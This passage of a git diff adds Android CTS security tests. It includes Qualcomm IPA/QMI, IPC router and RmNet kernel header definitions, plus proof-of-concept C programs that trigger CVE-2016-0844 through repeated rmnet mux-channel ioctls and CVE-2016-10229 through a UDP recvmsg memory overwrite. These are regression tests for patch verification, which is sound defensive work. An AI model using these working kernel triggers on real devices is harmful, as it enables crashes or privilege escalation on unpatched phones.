+ uint8_t is_ssr_bootup_valid;
+ uint8_t is_ssr_bootup;
+ uint8_t hdr_proc_ctx_tbl_info_valid;
+ struct ipa_hdr_proc_ctx_tbl_info_type_v01 hdr_proc_ctx_tbl_info;
+ uint8_t zip_tbl_info_valid;
+ struct ipa_zip_tbl_info_type_v01 zip_tbl_info;
+};
+
+struct ipa_init_modem_driver_resp_msg_v01 {
+ struct ipa_qmi_response_type_v01 resp;
+ uint8_t ctrl_comm_dest_end_pt_valid;
+ uint32_t ctrl_comm_dest_end_pt;
+ uint8_t default_end_pt_valid;
+ uint32_t default_end_pt;
+};
+
+struct ipa_indication_reg_req_msg_v01 {
+ uint8_t master_driver_init_complete_valid;
+ uint8_t master_driver_init_complete;
+};
+
+struct ipa_indication_reg_resp_msg_v01 {
+ struct ipa_qmi_response_type_v01 resp;
+};
+
+struct ipa_master_driver_init_complt_ind_msg_v01 {
+ struct ipa_qmi_response_type_v01 master_driver_init_status;
+};
+
+struct ipa_ipfltr_range_eq_16_type_v01 {
+ uint8_t offset;
+ uint16_t range_low;
+ uint16_t range_high;
+};
+
+struct ipa_ipfltr_mask_eq_32_type_v01 {
+ uint8_t offset;
+ uint32_t mask;
+ uint32_t value;
+};
+
+struct ipa_ipfltr_eq_16_type_v01 {
+ uint8_t offset;
+ uint16_t value;
+};
+
+struct ipa_ipfltr_eq_32_type_v01 {
+ uint8_t offset;
+ uint32_t value;
+};
+
+struct ipa_ipfltr_mask_eq_128_type_v01 {
+ uint8_t offset;
+ uint8_t mask[16];
+ uint8_t value[16];
+};
+
+struct ipa_filter_rule_type_v01 {
+ uint16_t rule_eq_bitmap;
+ uint8_t tos_eq_present;
+ uint8_t tos_eq;
+ uint8_t protocol_eq_present;
+ uint8_t protocol_eq;
+ uint8_t num_ihl_offset_range_16;
+
+ struct ipa_ipfltr_range_eq_16_type_v01
+ ihl_offset_range_16[QMI_IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS_V01];
+
+ uint8_t num_offset_meq_32;
+
+ struct ipa_ipfltr_mask_eq_32_type_v01
+ offset_meq_32[QMI_IPA_IPFLTR_NUM_MEQ_32_EQNS_V01];
+
+ uint8_t tc_eq_present;
+ uint8_t tc_eq;
+ uint8_t flow_eq_present;
+ uint32_t flow_eq;
+ uint8_t ihl_offset_eq_16_present;
+ struct ipa_ipfltr_eq_16_type_v01 ihl_offset_eq_16;
+ uint8_t ihl_offset_eq_32_present;
+ struct ipa_ipfltr_eq_32_type_v01 ihl_offset_eq_32;
+ uint8_t num_ihl_offset_meq_32;
+ struct ipa_ipfltr_mask_eq_32_type_v01
+ ihl_offset_meq_32[QMI_IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS_V01];
+ uint8_t num_offset_meq_128;
+ struct ipa_ipfltr_mask_eq_128_type_v01
+ offset_meq_128[QMI_IPA_IPFLTR_NUM_MEQ_128_EQNS_V01];
+
+ uint8_t metadata_meq32_present;
+
+ struct ipa_ipfltr_mask_eq_32_type_v01 metadata_meq32;
+ uint8_t ipv4_frag_eq_present;
+};
+
+enum ipa_ip_type_enum_v01 {
+ IPA_IP_TYPE_ENUM_MIN_ENUM_VAL_V01 = -2147483647,
+ QMI_IPA_IP_TYPE_INVALID_V01 = 0,
+ QMI_IPA_IP_TYPE_V4_V01 = 1,
+ QMI_IPA_IP_TYPE_V6_V01 = 2,
+ QMI_IPA_IP_TYPE_V4V6_V01 = 3,
+ IPA_IP_TYPE_ENUM_MAX_ENUM_VAL_V01 = 2147483647
+};
+
+enum ipa_filter_action_enum_v01 {
+ IPA_FILTER_ACTION_ENUM_MIN_ENUM_VAL_V01 = -2147483647,
+ QMI_IPA_FILTER_ACTION_INVALID_V01 = 0,
+ QMI_IPA_FILTER_ACTION_SRC_NAT_V01 = 1,
+ QMI_IPA_FILTER_ACTION_DST_NAT_V01 = 2,
+ QMI_IPA_FILTER_ACTION_ROUTING_V01 = 3,
+ QMI_IPA_FILTER_ACTION_EXCEPTION_V01 = 4,
+ IPA_FILTER_ACTION_ENUM_MAX_ENUM_VAL_V01 = 2147483647
+};
+
+struct ipa_filter_spec_type_v01 {
+ uint32_t filter_spec_identifier;
+ enum ipa_ip_type_enum_v01 ip_type;
+ struct ipa_filter_rule_type_v01 filter_rule;
+ enum ipa_filter_action_enum_v01 filter_action;
+ uint8_t is_routing_table_index_valid;
+ uint32_t route_table_index;
+ uint8_t is_mux_id_valid;
+ uint32_t mux_id;
+};
+
+struct ipa_install_fltr_rule_req_msg_v01 {
+ uint8_t filter_spec_list_valid;
+ uint32_t filter_spec_list_len;
+ struct ipa_filter_spec_type_v01 filter_spec_list[QMI_IPA_MAX_FILTERS_V01];
+ uint8_t source_pipe_index_valid;
+ uint32_t source_pipe_index;
+ uint8_t num_ipv4_filters_valid;
+ uint32_t num_ipv4_filters;
+ uint8_t num_ipv6_filters_valid;
+ uint32_t num_ipv6_filters;
+ uint8_t xlat_filter_indices_list_valid;
+ uint32_t xlat_filter_indices_list_len;
+ uint32_t xlat_filter_indices_list[QMI_IPA_MAX_FILTERS_V01];
+};
+
+struct ipa_filter_rule_identifier_to_handle_map_v01 {
+ uint32_t filter_spec_identifier;
+ uint32_t filter_handle;
+};
+
+struct ipa_install_fltr_rule_resp_msg_v01 {
+ struct ipa_qmi_response_type_v01 resp;
+ uint8_t filter_handle_list_valid;
+ uint32_t filter_handle_list_len;
+ struct ipa_filter_rule_identifier_to_handle_map_v01
+ filter_handle_list[QMI_IPA_MAX_FILTERS_V01];
+};
+
+struct ipa_filter_handle_to_index_map_v01 {
+ uint32_t filter_handle;
+ uint32_t filter_index;
+};
+
+struct ipa_fltr_installed_notif_req_msg_v01 {
+ uint32_t source_pipe_index;
+ enum ipa_qmi_result_type_v01 install_status;
+ uint32_t filter_index_list_len;
+ struct ipa_filter_handle_to_index_map_v01
+ filter_index_list[QMI_IPA_MAX_FILTERS_V01];
+
+ uint8_t embedded_pipe_index_valid;
+ uint32_t embedded_pipe_index;
+ uint8_t retain_header_valid;
+ uint8_t retain_header;
+ uint8_t embedded_call_mux_id_valid;
+ uint32_t embedded_call_mux_id;
+ uint8_t num_ipv4_filters_valid;
+ uint32_t num_ipv4_filters;
+ uint8_t num_ipv6_filters_valid;
+ uint32_t num_ipv6_filters;
+ uint8_t start_ipv4_filter_idx_valid;
+ uint32_t start_ipv4_filter_idx;
+ uint8_t start_ipv6_filter_idx_valid;
+ uint32_t start_ipv6_filter_idx;
+};
+
+struct ipa_fltr_installed_notif_resp_msg_v01 {
+ struct ipa_qmi_response_type_v01 resp;
+};
+
+struct ipa_enable_force_clear_datapath_req_msg_v01 {
+ uint32_t source_pipe_bitmask;
+ uint32_t request_id;
+ uint8_t throttle_source_valid;
+ uint8_t throttle_source;
+};
+
+struct ipa_enable_force_clear_datapath_resp_msg_v01 {
+ struct ipa_qmi_response_type_v01 resp;
+};
+
+struct ipa_disable_force_clear_datapath_req_msg_v01 {
+ uint32_t request_id;
+};
+
+struct ipa_disable_force_clear_datapath_resp_msg_v01 {
+ struct ipa_qmi_response_type_v01 resp;
+};
+
+enum ipa_peripheral_speed_enum_v01 {
+ IPA_PERIPHERAL_SPEED_ENUM_MIN_ENUM_VAL_V01 = -2147483647,
+ QMI_IPA_PER_USB_FS_V01 = 1,
+ QMI_IPA_PER_USB_HS_V01 = 2,
+ QMI_IPA_PER_USB_SS_V01 = 3,
+ IPA_PERIPHERAL_SPEED_ENUM_MAX_ENUM_VAL_V01 = 2147483647
+};
+
+enum ipa_pipe_mode_enum_v01 {
+ IPA_PIPE_MODE_ENUM_MIN_ENUM_VAL_V01 = -2147483647,
+ QMI_IPA_PIPE_MODE_HW_V01 = 1,
+ QMI_IPA_PIPE_MODE_SW_V01 = 2,
+ IPA_PIPE_MODE_ENUM_MAX_ENUM_VAL_V01 = 2147483647
+};
+
+enum ipa_peripheral_type_enum_v01 {
+ IPA_PERIPHERAL_TYPE_ENUM_MIN_ENUM_VAL_V01 = -2147483647,
+ QMI_IPA_PERIPHERAL_USB_V01 = 1,
+ QMI_IPA_PERIPHERAL_HSIC_V01 = 2,
+ QMI_IPA_PERIPHERAL_PCIE_V01 = 3,
+ IPA_PERIPHERAL_TYPE_ENUM_MAX_ENUM_VAL_V01 = 2147483647
+};
+
+struct ipa_config_req_msg_v01 {
+ uint8_t peripheral_type_valid;
+ enum ipa_peripheral_type_enum_v01 peripheral_type;
+ uint8_t hw_deaggr_supported_valid;
+ uint8_t hw_deaggr_supported;
+ uint8_t max_aggr_frame_size_valid;
+ uint32_t max_aggr_frame_size;
+ uint8_t ipa_ingress_pipe_mode_valid;
+ enum ipa_pipe_mode_enum_v01 ipa_ingress_pipe_mode;
+ uint8_t peripheral_speed_info_valid;
+ enum ipa_peripheral_speed_enum_v01 peripheral_speed_info;
+ uint8_t dl_accumulation_time_limit_valid;
+ uint32_t dl_accumulation_time_limit;
+ uint8_t dl_accumulation_pkt_limit_valid;
+ uint32_t dl_accumulation_pkt_limit;
+ uint8_t dl_accumulation_byte_limit_valid;
+ uint32_t dl_accumulation_byte_limit;
+ uint8_t ul_accumulation_time_limit_valid;
+ uint32_t ul_accumulation_time_limit;
+ uint8_t hw_control_flags_valid;
+ uint32_t hw_control_flags;
+ uint8_t ul_msi_event_threshold_valid;
+ uint32_t ul_msi_event_threshold;
+ uint8_t dl_msi_event_threshold_valid;
+ uint32_t dl_msi_event_threshold;
+};
+
+struct ipa_config_resp_msg_v01 {
+ struct ipa_qmi_response_type_v01 resp;
+};
+
+/*Service Message Definition*/
+#define QMI_IPA_INDICATION_REGISTER_REQ_V01 0x0020
+#define QMI_IPA_INDICATION_REGISTER_RESP_V01 0x0020
+#define QMI_IPA_INIT_MODEM_DRIVER_REQ_V01 0x0021
+#define QMI_IPA_INIT_MODEM_DRIVER_RESP_V01 0x0021
+#define QMI_IPA_MASTER_DRIVER_INIT_COMPLETE_IND_V01 0x0022
+#define QMI_IPA_INSTALL_FILTER_RULE_REQ_V01 0x0023
+#define QMI_IPA_INSTALL_FILTER_RULE_RESP_V01 0x0023
+#define QMI_IPA_FILTER_INSTALLED_NOTIF_REQ_V01 0x0024
+#define QMI_IPA_FILTER_INSTALLED_NOTIF_RESP_V01 0x0024
+#define QMI_IPA_ENABLE_FORCE_CLEAR_DATAPATH_REQ_V01 0x0025
+#define QMI_IPA_ENABLE_FORCE_CLEAR_DATAPATH_RESP_V01 0x0025
+#define QMI_IPA_DISABLE_FORCE_CLEAR_DATAPATH_REQ_V01 0x0026
+#define QMI_IPA_DISABLE_FORCE_CLEAR_DATAPATH_RESP_V01 0x0026
+#define QMI_IPA_CONFIG_REQ_V01 0x0027
+#define QMI_IPA_CONFIG_RESP_V01 0x0027
+
+/* add for max length*/
+#define QMI_IPA_INIT_MODEM_DRIVER_REQ_MAX_MSG_LEN_V01 98
+#define QMI_IPA_INIT_MODEM_DRIVER_RESP_MAX_MSG_LEN_V01 21
+#define QMI_IPA_INDICATION_REGISTER_REQ_MAX_MSG_LEN_V01 4
+#define QMI_IPA_INDICATION_REGISTER_RESP_MAX_MSG_LEN_V01 7
+#define QMI_IPA_INSTALL_FILTER_RULE_REQ_MAX_MSG_LEN_V01 11293
+#define QMI_IPA_INSTALL_FILTER_RULE_RESP_MAX_MSG_LEN_V01 523
+#define QMI_IPA_FILTER_INSTALLED_NOTIF_REQ_MAX_MSG_LEN_V01 574
+#define QMI_IPA_FILTER_INSTALLED_NOTIF_RESP_MAX_MSG_LEN_V01 7
+#define QMI_IPA_MASTER_DRIVER_INIT_COMPLETE_IND_MAX_MSG_LEN_V01 7
+
+#define QMI_IPA_ENABLE_FORCE_CLEAR_DATAPATH_REQ_MAX_MSG_LEN_V01 18
+#define QMI_IPA_DISABLE_FORCE_CLEAR_DATAPATH_REQ_MAX_MSG_LEN_V01 7
+#define QMI_IPA_ENABLE_FORCE_CLEAR_DATAPATH_RESP_MAX_MSG_LEN_V01 7
+#define QMI_IPA_DISABLE_FORCE_CLEAR_DATAPATH_RESP_MAX_MSG_LEN_V01 7
+
+#define QMI_IPA_CONFIG_REQ_MAX_MSG_LEN_V01 81
+#define QMI_IPA_CONFIG_RESP_MAX_MSG_LEN_V01 7
+/* Service Object Accessor */
+
+#endif /* IPA_QMI_SERVICE_V01_H */
+
+#ifndef _UAPI_MSM_IPC_H_
+#define _UAPI_MSM_IPC_H_
+
+#include <linux/ioctl.h>
+#include <linux/types.h>
+
+struct msm_ipc_port_addr {
+ uint32_t node_id;
+ uint32_t port_id;
+};
+
+struct msm_ipc_port_name {
+ uint32_t service;
+ uint32_t instance;
+};
+
+struct msm_ipc_addr {
+ unsigned char addrtype;
+ union {
+ struct msm_ipc_port_addr port_addr;
+ struct msm_ipc_port_name port_name;
+ } addr;
+};
+
+#define MSM_IPC_WAIT_FOREVER (~0) /* timeout for permanent subscription */
+
+#ifndef AF_MSM_IPC
+#define AF_MSM_IPC 27
+#endif
+
+#ifndef PF_MSM_IPC
+#define PF_MSM_IPC AF_MSM_IPC
+#endif
+
+#define MSM_IPC_ADDR_NAME 1
+#define MSM_IPC_ADDR_ID 2
+
+struct sockaddr_msm_ipc {
+ unsigned short family;
+ struct msm_ipc_addr address;
+ unsigned char reserved;
+};
+
+struct config_sec_rules_args {
+ int num_group_info;
+ uint32_t service_id;
+ uint32_t instance_id;
+ unsigned reserved;
+ gid_t group_id[0];
+};
+
+#define IPC_ROUTER_IOCTL_MAGIC (0xC3)
+
+#define IPC_ROUTER_IOCTL_GET_VERSION \
+ _IOR(IPC_ROUTER_IOCTL_MAGIC, 0, unsigned int)
+
+#define IPC_ROUTER_IOCTL_GET_MTU _IOR(IPC_ROUTER_IOCTL_MAGIC, 1, unsigned int)
+
+#define IPC_ROUTER_IOCTL_LOOKUP_SERVER \
+ _IOWR(IPC_ROUTER_IOCTL_MAGIC, 2, struct sockaddr_msm_ipc)
+
+#define IPC_ROUTER_IOCTL_GET_CURR_PKT_SIZE \
+ _IOR(IPC_ROUTER_IOCTL_MAGIC, 3, unsigned int)
+
+#define IPC_ROUTER_IOCTL_BIND_CONTROL_PORT \
+ _IOR(IPC_ROUTER_IOCTL_MAGIC, 4, unsigned int)
+
+#define IPC_ROUTER_IOCTL_CONFIG_SEC_RULES \
+ _IOR(IPC_ROUTER_IOCTL_MAGIC, 5, struct config_sec_rules_args)
+
+struct msm_ipc_server_info {
+ uint32_t node_id;
+ uint32_t port_id;
+ uint32_t service;
+ uint32_t instance;
+};
+
+struct server_lookup_args {
+ struct msm_ipc_port_name port_name;
+ int num_entries_in_array;
+ int num_entries_found;
+ uint32_t lookup_mask;
+ struct msm_ipc_server_info srv_info[0];
+};
+
+#endif
+
+#ifndef _UAPI_MSM_RMNET_H_
+#define _UAPI_MSM_RMNET_H_
+
+/* Bitmap macros for RmNET driver operation mode. */
+#define RMNET_MODE_NONE (0x00)
+#define RMNET_MODE_LLP_ETH (0x01)
+#define RMNET_MODE_LLP_IP (0x02)
+#define RMNET_MODE_QOS (0x04)
+#define RMNET_MODE_MASK \
+ (RMNET_MODE_LLP_ETH | RMNET_MODE_LLP_IP | RMNET_MODE_QOS)
+
+#define RMNET_IS_MODE_QOS(mode) ((mode & RMNET_MODE_QOS) == RMNET_MODE_QOS)
+#define RMNET_IS_MODE_IP(mode) ((mode & RMNET_MODE_LLP_IP) == RMNET_MODE_LLP_IP)
+
+enum rmnet_ioctl_cmds_e {
+ RMNET_IOCTL_SET_LLP_ETHERNET = 0x000089F1, /* Set Ethernet protocol */
+ RMNET_IOCTL_SET_LLP_IP = 0x000089F2, /* Set RAWIP protocol */
+ RMNET_IOCTL_GET_LLP = 0x000089F3, /* Get link protocol */
+ RMNET_IOCTL_SET_QOS_ENABLE = 0x000089F4, /* Set QoS header enabled */
+ RMNET_IOCTL_SET_QOS_DISABLE = 0x000089F5, /* Set QoS header disabled*/
+ RMNET_IOCTL_GET_QOS = 0x000089F6, /* Get QoS header state */
+ RMNET_IOCTL_GET_OPMODE = 0x000089F7, /* Get operation mode */
+ RMNET_IOCTL_OPEN = 0x000089F8, /* Open transport port */
+ RMNET_IOCTL_CLOSE = 0x000089F9, /* Close transport port */
+ RMNET_IOCTL_FLOW_ENABLE = 0x000089FA, /* Flow enable */
+ RMNET_IOCTL_FLOW_DISABLE = 0x000089FB, /* Flow disable */
+ RMNET_IOCTL_FLOW_SET_HNDL = 0x000089FC, /* Set flow handle */
+ RMNET_IOCTL_EXTENDED = 0x000089FD, /* Extended IOCTLs */
+ RMNET_IOCTL_MAX
+};
+
+enum rmnet_ioctl_extended_cmds_e {
+ /* RmNet Data Required IOCTLs */
+ RMNET_IOCTL_GET_SUPPORTED_FEATURES = 0x0000, /* Get features */
+ RMNET_IOCTL_SET_MRU = 0x0001, /* Set MRU */
+ RMNET_IOCTL_GET_MRU = 0x0002, /* Get MRU */
+ RMNET_IOCTL_GET_EPID = 0x0003, /* Get endpoint ID */
+ RMNET_IOCTL_GET_DRIVER_NAME = 0x0004, /* Get driver name */
+ RMNET_IOCTL_ADD_MUX_CHANNEL = 0x0005, /* Add MUX ID */
+ RMNET_IOCTL_SET_EGRESS_DATA_FORMAT = 0x0006, /* Set EDF */
+ RMNET_IOCTL_SET_INGRESS_DATA_FORMAT = 0x0007, /* Set IDF */
+ RMNET_IOCTL_SET_AGGREGATION_COUNT = 0x0008, /* Set agg count */
+ RMNET_IOCTL_GET_AGGREGATION_COUNT = 0x0009, /* Get agg count */
+ RMNET_IOCTL_SET_AGGREGATION_SIZE = 0x000A, /* Set agg size */
+ RMNET_IOCTL_GET_AGGREGATION_SIZE = 0x000B, /* Get agg size */
+ RMNET_IOCTL_FLOW_CONTROL = 0x000C, /* Do flow control */
+ RMNET_IOCTL_GET_DFLT_CONTROL_CHANNEL = 0x000D, /* For legacy use */
+ RMNET_IOCTL_GET_HWSW_MAP = 0x000E, /* Get HW/SW map */
+ RMNET_IOCTL_SET_RX_HEADROOM = 0x000F, /* RX Headroom */
+ RMNET_IOCTL_GET_EP_PAIR = 0x0010, /* Endpoint pair */
+ RMNET_IOCTL_SET_QOS_VERSION = 0x0011, /* 8/6 byte QoS hdr*/
+ RMNET_IOCTL_GET_QOS_VERSION = 0x0012, /* 8/6 byte QoS hdr*/
+ RMNET_IOCTL_GET_SUPPORTED_QOS_MODES = 0x0013, /* Get QoS modes */
+ RMNET_IOCTL_SET_SLEEP_STATE = 0x0014, /* Set sleep state */
+ RMNET_IOCTL_SET_XLAT_DEV_INFO = 0x0015, /* xlat dev name */
+ RMNET_IOCTL_EXTENDED_MAX = 0x0016
+};
+
+/* Return values for the RMNET_IOCTL_GET_SUPPORTED_FEATURES IOCTL */
+#define RMNET_IOCTL_FEAT_NOTIFY_MUX_CHANNEL (1 << 0)
+#define RMNET_IOCTL_FEAT_SET_EGRESS_DATA_FORMAT (1 << 1)
+#define RMNET_IOCTL_FEAT_SET_INGRESS_DATA_FORMAT (1 << 2)
+#define RMNET_IOCTL_FEAT_SET_AGGREGATION_COUNT (1 << 3)
+#define RMNET_IOCTL_FEAT_GET_AGGREGATION_COUNT (1 << 4)
+#define RMNET_IOCTL_FEAT_SET_AGGREGATION_SIZE (1 << 5)
+#define RMNET_IOCTL_FEAT_GET_AGGREGATION_SIZE (1 << 6)
+#define RMNET_IOCTL_FEAT_FLOW_CONTROL (1 << 7)
+#define RMNET_IOCTL_FEAT_GET_DFLT_CONTROL_CHANNEL (1 << 8)
+#define RMNET_IOCTL_FEAT_GET_HWSW_MAP (1 << 9)
+
+/* Input values for the RMNET_IOCTL_SET_EGRESS_DATA_FORMAT IOCTL */
+#define RMNET_IOCTL_EGRESS_FORMAT_MAP (1 << 1)
+#define RMNET_IOCTL_EGRESS_FORMAT_AGGREGATION (1 << 2)
+#define RMNET_IOCTL_EGRESS_FORMAT_MUXING (1 << 3)
+#define RMNET_IOCTL_EGRESS_FORMAT_CHECKSUM (1 << 4)
+
+/* Input values for the RMNET_IOCTL_SET_INGRESS_DATA_FORMAT IOCTL */
+#define RMNET_IOCTL_INGRESS_FORMAT_MAP (1 << 1)
+#define RMNET_IOCTL_INGRESS_FORMAT_DEAGGREGATION (1 << 2)
+#define RMNET_IOCTL_INGRESS_FORMAT_DEMUXING (1 << 3)
+#define RMNET_IOCTL_INGRESS_FORMAT_CHECKSUM (1 << 4)
+
+/* User space may not have this defined. */
+#ifndef IFNAMSIZ
+#define IFNAMSIZ 16
+#endif
+
+struct rmnet_ioctl_extended_s {
+ uint32_t extended_ioctl;
+ union {
+ uint32_t data; /* Generic data field for most extended IOCTLs */
+ int8_t if_name[IFNAMSIZ];
+ struct {
+ uint32_t mux_id;
+ int8_t vchannel_name[IFNAMSIZ];
+ } rmnet_mux_val;
+ struct {
+ uint8_t flow_mode;
+ uint8_t mux_id;
+ } flow_control_prop;
+ struct {
+ uint32_t consumer_pipe_num;
+ uint32_t producer_pipe_num;
+ } ipa_ep_pair;
+ } u;
+};
+
+struct rmnet_ioctl_data_s {
+ union {
+ uint32_t operation_mode;
+ uint32_t tcm_handle;
+ } u;
+};
+
+#define RMNET_IOCTL_QOS_MODE_6 (1 << 0)
+#define RMNET_IOCTL_QOS_MODE_8 (1 << 1)
+
+#define QMI_QOS_HDR_S __attribute((__packed__)) qmi_qos_hdr_s
+struct QMI_QOS_HDR_S {
+ unsigned char version;
+ unsigned char flags;
+ uint32_t flow_id;
+};
+
+struct qmi_qos_hdr8_s {
+ struct QMI_QOS_HDR_S hdr;
+ uint8_t reserved[2];
+} __attribute((__packed__));
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-0844/poc.c b/hostsidetests/security/securityPatch/CVE-2016-0844/poc.c
new file mode 100644
index 0000000..1242768
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-0844/poc.c
@@ -0,0 +1,79 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <net/if.h>
+#include <net/if_arp.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/prctl.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <time.h>
+#include <unistd.h>
+#include "local_poc.h"
+
+#define WAN_IOC_MAGIC 0x69
+#define WAN_IOCTL_ADD_FLT_RULE 0
+#define WAN_IOCTL_ADD_FLT_INDEX 2
+#define WAN_IOC_ADD_FLT_RULE \
+ _IOWR(WAN_IOC_MAGIC, WAN_IOCTL_ADD_FLT_RULE, \
+ struct ipa_install_fltr_rule_req_msg_v01 *)
+
+#define WAN_IOC_ADD_FLT_RULE_INDEX \
+ _IOWR(WAN_IOC_MAGIC, WAN_IOCTL_ADD_FLT_INDEX, \
+ struct ipa_fltr_installed_notif_req_msg_v01 *)
+
+int trigger(int sfd, char *ifname) {
+ int ret;
+ struct ifreq ifr;
+ unsigned cmd = RMNET_IOCTL_EXTENDED;
+ strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
+ struct rmnet_ioctl_extended_s extendata;
+ int i;
+ ifr.ifr_ifru.ifru_data = &extendata;
+ extendata.extended_ioctl = RMNET_IOCTL_ADD_MUX_CHANNEL;
+ for (i = 0; i < 3; i++) {
+ extendata.u.rmnet_mux_val.mux_id = rand();
+ printf("[-] call ioctl %d\n", i);
+ if (ioctl(sfd, cmd, &ifr) < 0) {
+ printf("%s, %s\n", __func__, strerror(errno));
+ ret = -1;
+ }
+ }
+
+ return ret;
+}
+
+int main() {
+ int sockfd;
+ char *ifname = "rmnet_ipa0";
+
+ srand(time(NULL));
+
+ if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
+ printf("socket = %d, %s\n", sockfd, strerror(errno));
+ exit(1);
+ }
+
+ trigger(sockfd, ifname);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10229/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10229/Android.mk
new file mode 100644
index 0000000..179fe15
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10229/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-10229
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS = -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10229/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10229/poc.c
new file mode 100644
index 0000000..c10793d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10229/poc.c
@@ -0,0 +1,98 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <arpa/inet.h>
+#include <netinet/in.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define EVIL_STRING "123456789\x00OVERWRITE\x00"
+int udp_send()
+{
+ int s;
+ struct sockaddr_in6 addr;
+ char data[160];
+ s = socket(AF_INET6, SOCK_DGRAM, IPPROTO_IP);
+ memset(&addr, 0, sizeof(addr));
+ addr.sin6_family = AF_INET6;
+ addr.sin6_port = htons(43786);
+ inet_pton(AF_INET6, "::1", &(addr.sin6_addr));
+ sendto(s, "data", 4, 0, (struct sockaddr*)&addr, sizeof(addr));
+ memset(data, 0, sizeof(data));
+ memcpy(data, EVIL_STRING, sizeof(EVIL_STRING));
+ sendto(s, data, sizeof(data), 0, (struct sockaddr*)&addr, sizeof(addr));
+ return 0;
+}
+
+int udp_recv()
+{
+ int s;
+ struct sockaddr_in6 addr;
+ struct msghdr msg;
+ struct iovec iov[2];
+ char buf1[10], buf2[10], buf3[10];
+
+ s = socket(AF_INET6, SOCK_DGRAM, IPPROTO_IP);
+ memset(&addr, 0, sizeof(addr));
+ addr.sin6_family = AF_INET6;
+ addr.sin6_port = htons(43786);
+ inet_pton(AF_INET6, "::", &(addr.sin6_addr));
+ bind(s, (struct sockaddr*)&addr, 128);
+
+ memset(buf1, 0, sizeof(buf1));
+ memset(buf2, 0, sizeof(buf2));
+ memset(buf3, 0, sizeof(buf3));
+ memset(iov, 0, sizeof(iov));
+ memset(&msg, 0, sizeof(msg));
+ msg.msg_iov = iov;
+ msg.msg_iovlen = 2;
+ iov[0].iov_base = buf1;
+ iov[0].iov_len = sizeof(buf1);
+ iov[1].iov_base = buf2;
+ iov[1].iov_len = sizeof(buf2);
+ recvmsg(s, &msg, 0);
+
+ memset(buf1, 0, sizeof(buf1));
+ memset(buf2, 0, sizeof(buf2)); // buf2 is zeroed here.
+ memset(buf3, 0, sizeof(buf3));
+ memset(iov, 0, sizeof(iov));
+ memset(&msg, 0, sizeof(msg));
+ msg.msg_iov = iov;
+ msg.msg_iovlen = 1;
+ iov[0].iov_base = buf3;
+ iov[0].iov_len = sizeof(buf3);
+ recvmsg(s, &msg, MSG_PEEK); // No refrence to buf2 in this call.
+
+ printf("%s\n", buf2); // If buf2 has contents OVERWRITE, a vuln has occured.
+ return 0; // Exploit must occur in a forked process, return 113 won't work here.
+}
+
+int main()
+{
+ pid_t send, recv;
+ int status = 0;
+ if ((recv = fork()) == 0)
+ exit(udp_recv());
+ sleep(1);
+ if ((send = fork()) == 0)
+ exit(udp_send());
+ for (pid_t pid = wait(&status); pid > 0; pid = wait(&status));
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-3809/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-3809/Android.mk
new file mode 100644
index 0000000..615d39b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-3809/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
